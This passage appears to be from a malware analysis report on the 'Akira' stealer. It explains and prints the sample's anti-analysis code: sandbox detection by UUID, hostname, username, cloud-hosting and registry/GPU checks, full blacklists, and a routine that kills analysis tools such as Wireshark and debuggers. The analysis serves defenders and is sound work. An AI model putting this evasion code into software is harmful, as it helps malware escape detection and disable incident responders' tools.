VmProtect.checkHTTPSimulation()\n",[1584,10581,10583],{"class":1586,"line":10582},17,[1584,10584,10585],{},"                or VmProtect.checkUUID()\n",[1584,10587,10589],{"class":1586,"line":10588},18,[1584,10590,10591],{},"                or VmProtect.checkComputerName()\n",[1584,10593,10595],{"class":1586,"line":10594},19,[1584,10596,10597],{},"                or VmProtect.checkUsers()\n",[1584,10599,10601],{"class":1586,"line":10600},20,[1584,10602,10603],{},"                or VmProtect.checkHosting()\n",[1584,10605,10607],{"class":1586,"line":10606},21,[1584,10608,10609],{},"                or VmProtect.checkRegistry()\n",[1584,10611,10613],{"class":1586,"line":10612},22,[1584,10614,10615],{},"            )\n",[1584,10617,10619],{"class":1586,"line":10618},23,[1584,10620,10621],{},"        except:\n",[1584,10623,10625],{"class":1586,"line":10624},24,[1584,10626,10627],{},"            return False\n",[1584,10629,10631],{"class":1586,"line":10630},25,[1584,10632,10633],{},"    return False\n",[1667,10635,10637],{"id":10636},"_735-uuid-check-identifying-virtual-machines-via-hardware-uuid","7.3.5 UUID Check – Identifying Virtual Machines via Hardware UUID",[806,10639,1673],{},[806,10641,10642],{},"A common tactic in malware evasion is fingerprinting the underlying hardware environment. One of the earliest identifiers that can signal a virtual machine is the system UUID (Universally Unique Identifier). Virtualization platforms like VMware and VirtualBox often generate predictable or reused UUIDs, which can be used by malware to infer whether it is running in a virtualized or sandboxed environment.",[1540,10644,10646],{"className":10008,"code":10645,"language":10010,"meta":863,"style":863},"@staticmethod\ndef checkUUID() -> bool:\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\", shell=True,\n            capture_output=True\n        ).stdout.splitlines()[2].decode().strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n",[1546,10647,10648,10652,10657,10662,10667,10672,10677,10682,10687,10692],{"__ignoreMap":863},[1584,10649,10650],{"class":1586,"line":1587},[1584,10651,10498],{},[1584,10653,10654],{"class":1586,"line":864},[1584,10655,10656],{},"def checkUUID() -> bool:\n",[1584,10658,10659],{"class":1586,"line":1810},[1584,10660,10661],{},"    try:\n",[1584,10663,10664],{"class":1586,"line":1827},[1584,10665,10666],{},"        raw = subprocess.run(\n",[1584,10668,10669],{"class":1586,"line":2131},[1584,10670,10671],{},"            \"wmic csproduct get uuid\", shell=True,\n",[1584,10673,10674],{"class":1586,"line":2137},[1584,10675,10676],{},"            capture_output=True\n",[1584,10678,10679],{"class":1586,"line":2143},[1584,10680,10681],{},"        ).stdout.splitlines()[2].decode().strip()\n",[1584,10683,10684],{"class":1586,"line":2149},[1584,10685,10686],{},"    except:\n",[1584,10688,10689],{"class":1586,"line":2155},[1584,10690,10691],{},"        raw = \"\"\n",[1584,10693,10694],{"class":1586,"line":2161},[1584,10695,10696],{},"    return raw in VmProtect.BLACKLISTED_UUIDS\n",[806,10698,10699],{},"This check leverages the Windows Management Instrumentation Command-line (WMIC) tool to extract the UUID of the host machine. The returned value is then cross-checked against a curated list of UUIDs that are commonly associated with virtual machine templates or known analysis setups.",[1667,10701,10703],{"id":10702},"_736-computer-name-check-detecting-sandbox-and-analysis-environments-via-hostname","7.3.6 Computer Name Check – Detecting Sandbox and Analysis Environments via Hostname",[806,10705,1673],{},[806,10707,10708,10709,10712],{},"The system hostname, accessed via the ",[1546,10710,10711],{},"%COMPUTERNAME%"," environment variable, often reveals clues about its environment. Analysts frequently use default or quickly-generated hostnames like \"DESKTOP-XXXXXXX\", \"WIN10ANALYSIS\", or even names linked to their internal environments. Malware takes advantage of this by comparing the system's hostname against a blacklist.",[1540,10714,10716],{"className":10008,"code":10715,"language":10010,"meta":863,"style":863},"@staticmethod\ndef checkComputerName() -> bool:\n    name = os.getenv(\"computername\", \"\").lower()\n    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n\nBLACKLISTED_COMPUTERNAMES = (\n    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n    'desktop-vkeons4','ntt-eff-2w11wss',\n    # ... dozens more entries ...\n)\n",[1546,10717,10718,10722,10727,10732,10737,10741,10746,10751,10756,10761],{"__ignoreMap":863},[1584,10719,10720],{"class":1586,"line":1587},[1584,10721,10498],{},[1584,10723,10724],{"class":1586,"line":864},[1584,10725,10726],{},"def checkComputerName() -> bool:\n",[1584,10728,10729],{"class":1586,"line":1810},[1584,10730,10731],{},"    name = os.getenv(\"computername\", \"\").lower()\n",[1584,10733,10734],{"class":1586,"line":1827},[1584,10735,10736],{},"    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1584,10738,10739],{"class":1586,"line":2131},[1584,10740,9372],{"emptyLinePlaceholder":508},[1584,10742,10743],{"class":1586,"line":2137},[1584,10744,10745],{},"BLACKLISTED_COMPUTERNAMES = (\n",[1584,10747,10748],{"class":1586,"line":2143},[1584,10749,10750],{},"    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n",[1584,10752,10753],{"class":1586,"line":2149},[1584,10754,10755],{},"    'desktop-vkeons4','ntt-eff-2w11wss',\n",[1584,10757,10758],{"class":1586,"line":2155},[1584,10759,10760],{},"    # ... dozens more entries ...\n",[1584,10762,10763],{"class":1586,"line":2161},[1584,10764,10765],{},")\n",[806,10767,10768],{},"If a match is found, the malware may choose to halt execution or deploy a fake payload, thereby avoiding full behavioral analysis.",[1667,10770,10772],{"id":10771},"_737-user-account-check-profiling-analyst-or-default-accounts","7.3.7 User Account Check – Profiling Analyst or Default Accounts",[806,10774,1673],{},[806,10776,10777],{},"Another heuristic involves evaluating the username under which the malware is executed. Many virtual machine templates and sandboxes reuse common usernames such as \"Abby\", \"Test\", or \"wdagutilityaccount\". These names are low-entropy and often hardcoded in open source sandbox environments.",[1540,10779,10781],{"className":10008,"code":10780,"language":10010,"meta":863,"style":863},"@staticmethod\ndef checkUsers() -> bool:\n    user = os.getlogin().lower()\n    return user in VmProtect.BLACKLISTED_USERS\n\nBLACKLISTED_USERS = (\n    'wdagutilityaccount','abby','peter wilson','hmarc',\n    'a.monaldo','tvm',\n    # ... 30+ more entries ...\n)\n",[1546,10782,10783,10787,10792,10797,10802,10806,10811,10816,10821,10826],{"__ignoreMap":863},[1584,10784,10785],{"class":1586,"line":1587},[1584,10786,10498],{},[1584,10788,10789],{"class":1586,"line":864},[1584,10790,10791],{},"def checkUsers() -> bool:\n",[1584,10793,10794],{"class":1586,"line":1810},[1584,10795,10796],{},"    user = os.getlogin().lower()\n",[1584,10798,10799],{"class":1586,"line":1827},[1584,10800,10801],{},"    return user in VmProtect.BLACKLISTED_USERS\n",[1584,10803,10804],{"class":1586,"line":2131},[1584,10805,9372],{"emptyLinePlaceholder":508},[1584,10807,10808],{"class":1586,"line":2137},[1584,10809,10810],{},"BLACKLISTED_USERS = (\n",[1584,10812,10813],{"class":1586,"line":2143},[1584,10814,10815],{},"    'wdagutilityaccount','abby','peter wilson','hmarc',\n",[1584,10817,10818],{"class":1586,"line":2149},[1584,10819,10820],{},"    'a.monaldo','tvm',\n",[1584,10822,10823],{"class":1586,"line":2155},[1584,10824,10825],{},"    # ... 30+ more entries ...\n",[1584,10827,10828],{"class":1586,"line":2161},[1584,10829,10765],{},[806,10831,10832],{},"This check enhances detection by focusing on user context, which may remain unchanged even across reboots or virtual machine snapshots.",[1667,10834,10836],{"id":10835},"_738-hosting-check-detecting-public-cloud-infrastructure","7.3.8 Hosting Check – Detecting Public Cloud Infrastructure",[806,10838,1673],{},[806,10840,10841,10842,10845],{},"Some malware uses external IP intelligence services to verify whether the infected system resides in a known data center or cloud provider environment. In this case, a simple HTTP request is made to ",[1546,10843,10844],{},"ip-api.com",", asking whether the IP is flagged as \"hosting\".",[1540,10847,10849],{"className":10008,"code":10848,"language":10010,"meta":863,"style":863},"@staticmethod\ndef checkHosting() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET',\n            'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n",[1546,10850,10851,10855,10860,10865,10869,10874,10879,10884,10889,10893],{"__ignoreMap":863},[1584,10852,10853],{"class":1586,"line":1587},[1584,10854,10498],{},[1584,10856,10857],{"class":1586,"line":864},[1584,10858,10859],{},"def checkHosting() -> bool:\n",[1584,10861,10862],{"class":1586,"line":1810},[1584,10863,10864],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\")\n",[1584,10866,10867],{"class":1586,"line":1827},[1584,10868,10661],{},[1584,10870,10871],{"class":1586,"line":2131},[1584,10872,10873],{},"        return http.request(\n",[1584,10875,10876],{"class":1586,"line":2137},[1584,10877,10878],{},"            'GET',\n",[1584,10880,10881],{"class":1586,"line":2143},[1584,10882,10883],{},"            'http://ip-api.com/line/?fields=hosting'\n",[1584,10885,10886],{"class":1586,"line":2149},[1584,10887,10888],{},"        ).data.decode().strip() == 'true'\n",[1584,10890,10891],{"class":1586,"line":2155},[1584,10892,10686],{},[1584,10894,10895],{"class":1586,"line":2161},[1584,10896,10897],{},"        return False\n",[806,10899,10900],{},"This allows the malware to determine if it’s running on infrastructure owned by Microsoft Azure, AWS, DigitalOcean, etc.—a red flag for sandboxing.",[1667,10902,10904],{"id":10903},"_739-https-simulation-check-probing-for-ssl-interception","7.3.9 HTTPS Simulation Check – Probing for SSL Interception",[806,10906,1673],{},[806,10908,10909,10910,10913],{},"To identify environments with SSL inspection (common in corporate or research networks), the malware issues a benign HTTPS request to a random subdomain under ",[1546,10911,10912],{},".in",". If the connection fails—due to DNS filtering, interception proxies, or certificate pinning failures—it may signal that the malware is being analyzed.",[1540,10915,10917],{"className":10008,"code":10916,"language":10010,"meta":863,"style":863},"@staticmethod\ndef checkHTTPSimulation() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n    except:\n        return False\n    return True\n",[1546,10918,10919,10923,10928,10933,10937,10942,10946,10950],{"__ignoreMap":863},[1584,10920,10921],{"class":1586,"line":1587},[1584,10922,10498],{},[1584,10924,10925],{"class":1586,"line":864},[1584,10926,10927],{},"def checkHTTPSimulation() -> bool:\n",[1584,10929,10930],{"class":1586,"line":1810},[1584,10931,10932],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n",[1584,10934,10935],{"class":1586,"line":1827},[1584,10936,10661],{},[1584,10938,10939],{"class":1586,"line":2131},[1584,10940,10941],{},"        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n",[1584,10943,10944],{"class":1586,"line":2137},[1584,10945,10686],{},[1584,10947,10948],{"class":1586,"line":2143},[1584,10949,10897],{},[1584,10951,10952],{"class":1586,"line":2149},[1584,10953,10954],{},"    return True\n",[806,10956,10957],{},"This subtle approach tests the network path's integrity without triggering alarms or requiring dedicated infrastructure.",[1667,10959,10961],{"id":10960},"_7310-registry-gpu-driver-check-detecting-virtual-gpu-signatures","7.3.10 Registry & GPU Driver Check – Detecting Virtual GPU Signatures",[806,10963,1673],{},[806,10965,10966,10967,10970],{},"Certain virtual environments are betrayed by registry keys or GPU driver descriptors. Akira executes a dual strategy: it queries registry entries tied to the graphics subsystem, and separately examines the output of ",[1546,10968,10969],{},"wmic"," for suspicious GPU strings.",[1540,10972,10974],{"className":10008,"code":10973,"language":10010,"meta":863,"style":863},"@staticmethod\ndef checkRegistry() -> bool:\n    r1 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n        capture_output=True, shell=True)\n    r2 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n        capture_output=True, shell=True)\n\n    # GPU name check\n    gpu_out = subprocess.run(\n        \"wmic path win32_VideoController get name\",\n        capture_output=True, shell=True).stdout.decode().splitlines()\n    gpucheck = any(x in gpu_out[2].lower()\n                   for x in (\"virtualbox\", \"vmware\"))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[1546,10975,10976,10980,10985,10990,10995,11000,11005,11010,11014,11018,11023,11028,11033,11038,11043,11048],{"__ignoreMap":863},[1584,10977,10978],{"class":1586,"line":1587},[1584,10979,10498],{},[1584,10981,10982],{"class":1586,"line":864},[1584,10983,10984],{},"def checkRegistry() -> bool:\n",[1584,10986,10987],{"class":1586,"line":1810},[1584,10988,10989],{},"    r1 = subprocess.run(\n",[1584,10991,10992],{"class":1586,"line":1827},[1584,10993,10994],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n",[1584,10996,10997],{"class":1586,"line":2131},[1584,10998,10999],{},"        capture_output=True, shell=True)\n",[1584,11001,11002],{"class":1586,"line":2137},[1584,11003,11004],{},"    r2 = subprocess.run(\n",[1584,11006,11007],{"class":1586,"line":2143},[1584,11008,11009],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n",[1584,11011,11012],{"class":1586,"line":2149},[1584,11013,10999],{},[1584,11015,11016],{"class":1586,"line":2155},[1584,11017,9372],{"emptyLinePlaceholder":508},[1584,11019,11020],{"class":1586,"line":2161},[1584,11021,11022],{},"    # GPU name check\n",[1584,11024,11025],{"class":1586,"line":10546},[1584,11026,11027],{},"    gpu_out = subprocess.run(\n",[1584,11029,11030],{"class":1586,"line":10552},[1584,11031,11032],{},"        \"wmic path win32_VideoController get name\",\n",[1584,11034,11035],{"class":1586,"line":10558},[1584,11036,11037],{},"        capture_output=True, shell=True).stdout.decode().splitlines()\n",[1584,11039,11040],{"class":1586,"line":10564},[1584,11041,11042],{},"    gpucheck = any(x in gpu_out[2].lower()\n",[1584,11044,11045],{"class":1586,"line":10570},[1584,11046,11047],{},"                   for x in (\"virtualbox\", \"vmware\"))\n",[1584,11049,11050],{"class":1586,"line":10576},[1584,11051,11052],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[806,11054,11055],{},"These hardware-layer checks are particularly effective against analyst setups that may not fully mask virtualized display adapters.",[1667,11057,11059],{"id":11058},"_7311-task-killing-suppressing-analysis-tools-in-real-time","7.3.11 Task-Killing – Suppressing Analysis Tools in Real Time",[806,11061,1673],{},[806,11063,11064],{},"Rather than only evading detection passively, Akira goes a step further by actively terminating known analysis or debugging tools. It spins off a background thread that iterates over a list of processes and kills any match it finds.",[1540,11066,11068],{"className":10008,"code":11067,"language":10010,"meta":863,"style":863},"@staticmethod\ndef killTasks() -> None:\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n\nBLACKLISTED_TASKS = (\n  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n  # ... dozens more ...\n  'glasswire','requestly'\n)\n",[1546,11069,11070,11074,11079,11084,11088,11093,11098,11103,11108],{"__ignoreMap":863},[1584,11071,11072],{"class":1586,"line":1587},[1584,11073,10498],{},[1584,11075,11076],{"class":1586,"line":864},[1584,11077,11078],{},"def killTasks() -> None:\n",[1584,11080,11081],{"class":1586,"line":1810},[1584,11082,11083],{},"    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[1584,11085,11086],{"class":1586,"line":1827},[1584,11087,9372],{"emptyLinePlaceholder":508},[1584,11089,11090],{"class":1586,"line":2131},[1584,11091,11092],{},"BLACKLISTED_TASKS = (\n",[1584,11094,11095],{"class":1586,"line":2137},[1584,11096,11097],{},"  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n",[1584,11099,11100],{"class":1586,"line":2143},[1584,11101,11102],{},"  # ... dozens more ...\n",[1584,11104,11105],{"class":1586,"line":2149},[1584,11106,11107],{},"  'glasswire','requestly'\n",[1584,11109,11110],{"class":1586,"line":2155},[1584,11111,10765],{},[806,11113,11114],{},"These tools—commonly used by incident responders and malware analysts—are neutralized before they can collect meaningful behavioral artifacts.",[806,11116,11117],{},[1732,11118,11119],{},"Summary",[806,11121,11122],{},"Akira uses a sophisticated suite of anti-analysis techniques that target multiple system layers — from environment variables and registry keys to network probes and task lists. These mechanisms are designed to detect and evade both automated sandboxes and manual inspection setups.",[806,11124,11125],{},"The combination of passive fingerprinting and active suppression (e.g., task killing) demonstrates how even mid-tier malware families now integrate multi-layer evasion logic.",[1667,11127,11129],{"id":11128},"_7312-complete-blacklists-detection-functions","7.3.12 Complete Blacklists & Detection Functions",[806,11131,1673],{},[806,11133,11134],{},[1732,11135,11136],{},"Blacklisted Hardware UUIDs",[1540,11138,11141],{"className":11139,"code":11140,"language":917},[1543],"BLACKLISTED_UUIDS = (\n    '7AB5C494-39F5-4941-9163-47F54D6D5016',\n    '032E02B4-0499-05C3-0806-3C0700080009',\n    '03DE0294-0480-05DE-1A06-350700080009',\n    '11111111-2222-3333-4444-555555555555',\n    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',\n    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',\n    '4C4C4544-0050-3710-8058-CAC04F59344A',\n    '00000000-0000-0000-0000-AC1F6BD04972',\n    '00000000-0000-0000-0000-000000000000',\n    '5BD24D56-789F-8468-7CDC-CAA7222CC121',\n    '49434D53-0200-9065-2500-65902500E439',\n    '49434D53-0200-9036-2500-36902500F022',\n    '777D84B3-88D1-451C-93E4-D235177420A7',\n    '49434D53-0200-9036-2500-369025000C65',\n    'B1112042-52E8-E25B-3655-6A4F54155DBF',\n    '00000000-0000-0000-0000-AC1F6BD048FE',\n    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',\n    'A15A930C-8251-9645-AF63-E45AD728C20C',\n    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',\n    'C7D23342-A5D4-68A1-59AC-CF40F735B363',\n    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',\n    '44B94D56-65AB-DC02-86A0-98143A7423BF',\n    '6608003F-ECE4-494E-B07E-1C4615D1D93C',\n    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',\n    '49434D53-0200-9036-2500-369025003AF0',\n    '8B4E8278-525C-7343-B825-280AEBCD3BCB',\n    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',\n    '79AF5279-16CF-4094-9758-F88A616D81B4',\n    'FE822042-A70C-D08B-F1D1-C207055A488F',\n    '76122042-C286-FA81-F0A8-514CC507B250',\n    '481E2042-A1AF-D390-CE06-A8F783B1E76A',\n    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',\n    '9961A120-E691-4FFE-B67B-F0E4115D5919'\n)\n",[1546,11142,11140],{"__ignoreMap":863},[806,11144,11145],{},[1732,11146,11147],{},"Blacklisted Computer Names",[1540,11149,11152],{"className":11150,"code":11151,"language":917},[1543],"BLACKLISTED_COMPUTERNAMES = (\n    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',\n    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',\n    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',\n    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',\n    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',\n    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',\n    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',\n    'desktop-vkeons4', 'NTT-EFF-2W11WSS'\n)\n",[1546,11153,11151],{"__ignoreMap":863},[806,11155,11156],{},[1732,11157,11158],{},"Blacklisted User Accounts",[1540,11160,11163],{"className":11161,"code":11162,"language":917},[1543],"BLACKLISTED_USERS = (\n    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',\n    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',\n    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',\n    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',\n    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'\n)\n",[1546,11164,11162],{"__ignoreMap":863},[806,11166,11167],{},[1732,11168,11169],{},"Blacklisted Analysis‐Tool Processes",[1540,11171,11174],{"className":11172,"code":11173,"language":917},[1543],"BLACKLISTED_TASKS = (\n    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',\n    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',\n    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',\n    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',\n    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',\n    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',\n    'discordtokenprotector', 'glasswire', 'requestly'\n)\n",[1546,11175,11173],{"__ignoreMap":863},[806,11177,11178],{},[1732,11179,11180],{},"Core Detection Methods",[1540,11182,11184],{"className":10008,"code":11183,"language":10010,"meta":863,"style":863},"@staticmethod\ndef checkUUID() -> bool:\n    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\",\n            shell=True, capture_output=True\n        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n\n@staticmethod\ndef checkComputerName() -> bool:\n    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n\n@staticmethod\ndef checkUsers() -> bool:\n    \"\"\"Current login username in VM users list.\"\"\"\n    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n\n@staticmethod\ndef checkHosting() -> bool:\n    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET', 'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n\n@staticmethod\ndef checkHTTPSimulation() -> bool:\n    \"\"\"\n    Attempt TLS to random subdomain.\n    Failure → possible HTTPS interception/sandbox.\n    \"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n        return True\n    except:\n        return False\n\n@staticmethod\ndef checkRegistry() -> bool:\n    \"\"\"\n    Look for VirtualBox/VMware in:\n    - Registry driver entries\n    - Video card name via WMIC\n    - Presence of VM-specific folders\n    \"\"\"\n    r1 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n        shell=True, capture_output=True\n    )\n    r2 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n        shell=True, capture_output=True\n    )\n    gpu = any(\n        x.lower() in subprocess.run(\n            \"wmic path win32_VideoController get name\",\n            shell=True, capture_output=True\n        ).stdout.decode().splitlines()[2].lower()\n        for x in (\"virtualbox\", \"vmware\")\n    )\n    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n\n@staticmethod\ndef killTasks() -> None:\n    \"\"\"Continuously terminate known analysis processes.\"\"\"\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[1546,11185,11186,11190,11194,11199,11203,11207,11212,11217,11222,11226,11230,11234,11238,11242,11246,11251,11256,11260,11264,11268,11273,11278,11282,11286,11290,11295,11300,11305,11310,11316,11321,11326,11331,11336,11341,11346,11352,11358,11364,11369,11374,11379,11384,11390,11395,11400,11405,11410,11415,11420,11426,11432,11438,11444,11449,11454,11460,11466,11472,11478,11483,11488,11494,11499,11504,11510,11516,11522,11527,11533,11539,11544,11550,11556,11561,11566,11571,11577],{"__ignoreMap":863},[1584,11187,11188],{"class":1586,"line":1587},[1584,11189,10498],{},[1584,11191,11192],{"class":1586,"line":864},[1584,11193,10656],{},[1584,11195,11196],{"class":1586,"line":1810},[1584,11197,11198],{},"    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n",[1584,11200,11201],{"class":1586,"line":1827},[1584,11202,10661],{},[1584,11204,11205],{"class":1586,"line":2131},[1584,11206,10666],{},[1584,11208,11209],{"class":1586,"line":2137},[1584,11210,11211],{},"            \"wmic csproduct get uuid\",\n",[1584,11213,11214],{"class":1586,"line":2143},[1584,11215,11216],{},"            shell=True, capture_output=True\n",[1584,11218,11219],{"class":1586,"line":2149},[1584,11220,11221],{},"        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n",[1584,11223,11224],{"class":1586,"line":2155},[1584,11225,10686],{},[1584,11227,11228],{"class":1586,"line":2161},[1584,11229,10691],{},[1584,11231,11232],{"class":1586,"line":10546},[1584,11233,10696],{},[1584,11235,11236],{"class":1586,"line":10552},[1584,11237,9372],{"emptyLinePlaceholder":508},[1584,11239,11240],{"class":1586,"line":10558},[1584,11241,10498],{},[1584,11243,11244],{"class":1586,"line":10564},[1584,11245,10726],{},[1584,11247,11248],{"class":1586,"line":10570},[1584,11249,11250],{},"    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n",[1584,11252,11253],{"class":1586,"line":10576},[1584,11254,11255],{},"    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1584,11257,11258],{"class":1586,"line":10582},[1584,11259,9372],{"emptyLinePlaceholder":508},[1584,11261,11262],{"class":1586,"line":10588},[1584,11263,10498],{},[1584,11265,11266],{"class":1586,"line":10594},[1584,11267,10791],{},[1584,11269,11270],{"class":1586,"line":10600},[1584,11271,11272],{},"    \"\"\"Current login username in VM users list.\"\"\"\n",[1584,11274,11275],{"class":1586,"line":10606},[1584,11276,11277],{},"    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n",[1584,11279,11280],{"class":1586,"line":10612},[1584,11281,9372],{"emptyLinePlaceholder":508},[1584,11283,11284],{"class":1586,"line":10618},[1584,11285,10498],{},[1584,11287,11288],{"class":1586,"line":10624},[1584,11289,10859],{},[1584,11291,11292],{"class":1586,"line":10630},[1584,11293,11294],{},"    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n",[1584,11296,11298],{"class":1586,"line":11297},26,[1584,11299,10864],{},[1584,11301,11303],{"class":1586,"line":11302},27,[1584,11304,10661],{},[1584,11306,11308],{"class":1586,"line":11307},28,[1584,11309,10873],{},[1584,11311,11313],{"class":1586,"line":11312},29,[1584,11314,11315],{},"            'GET', 'http://ip-api.com/line/?fields=hosting'\n",[1584,11317,11319],{"class":1586,"line":11318},30,[1584,11320,10888],{},[1584,11322,11324],{"class":1586,"line":11323},31,[1584,11325,10686],{},[1584,11327,11329],{"class":1586,"line":11328},32,[1584,11330,10897],{},[1584,11332,11334],{"class":1586,"line":11333},33,[1584,11335,9372],{"emptyLinePlaceholder":508},[1584,11337,11339],{"class":1586,"line":11338},34,[1584,11340,10498],{},[1584,11342,11344],{"class":1586,"line":11343},35,[1584,11345,10927],{},[1584,11347,11349],{"class":1586,"line":11348},36,[1584,11350,11351],{},"    \"\"\"\n",[1584,11353,11355],{"class":1586,"line":11354},37,[1584,11356,11357],{},"    Attempt TLS to random subdomain.\n",[1584,11359,11361],{"class":1586,"line":11360},38,[1584,11362,11363],{},"    Failure → possible HTTPS interception/sandbox.\n",[1584,11365,11367],{"class":1586,"line":11366},39,[1584,11368,11351],{},[1584,11370,11372],{"class":1586,"line":11371},40,[1584,11373,10932],{},[1584,11375,11377],{"class":1586,"line":11376},41,[1584,11378,10661],{},[1584,11380,11382],{"class":1586,"line":11381},42,[1584,11383,10941],{},[1584,11385,11387],{"class":1586,"line":11386},43,[1584,11388,11389],{},"        return True\n",[1584,11391,11393],{"class":1586,"line":11392},44,[1584,11394,10686],{},[1584,11396,11398],{"class":1586,"line":11397},45,[1584,11399,10897],{},[1584,11401,11403],{"class":1586,"line":11402},46,[1584,11404,9372],{"emptyLinePlaceholder":508},[1584,11406,11408],{"class":1586,"line":11407},47,[1584,11409,10498],{},[1584,11411,11413],{"class":1586,"line":11412},48,[1584,11414,10984],{},[1584,11416,11418],{"class":1586,"line":11417},49,[1584,11419,11351],{},[1584,11421,11423],{"class":1586,"line":11422},50,[1584,11424,11425],{},"    Look for VirtualBox/VMware in:\n",[1584,11427,11429],{"class":1586,"line":11428},51,[1584,11430,11431],{},"    - Registry driver entries\n",[1584,11433,11435],{"class":1586,"line":11434},52,[1584,11436,11437],{},"    - Video card name via WMIC\n",[1584,11439,11441],{"class":1586,"line":11440},53,[1584,11442,11443],{},"    - Presence of VM-specific folders\n",[1584,11445,11447],{"class":1586,"line":11446},54,[1584,11448,11351],{},[1584,11450,11452],{"class":1586,"line":11451},55,[1584,11453,10989],{},[1584,11455,11457],{"class":1586,"line":11456},56,[1584,11458,11459],{},"        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n",[1584,11461,11463],{"class":1586,"line":11462},57,[1584,11464,11465],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n",[1584,11467,11469],{"class":1586,"line":11468},58,[1584,11470,11471],{},"        shell=True, capture_output=True\n",[1584,11473,11475],{"class":1586,"line":11474},59,[1584,11476,11477],{},"    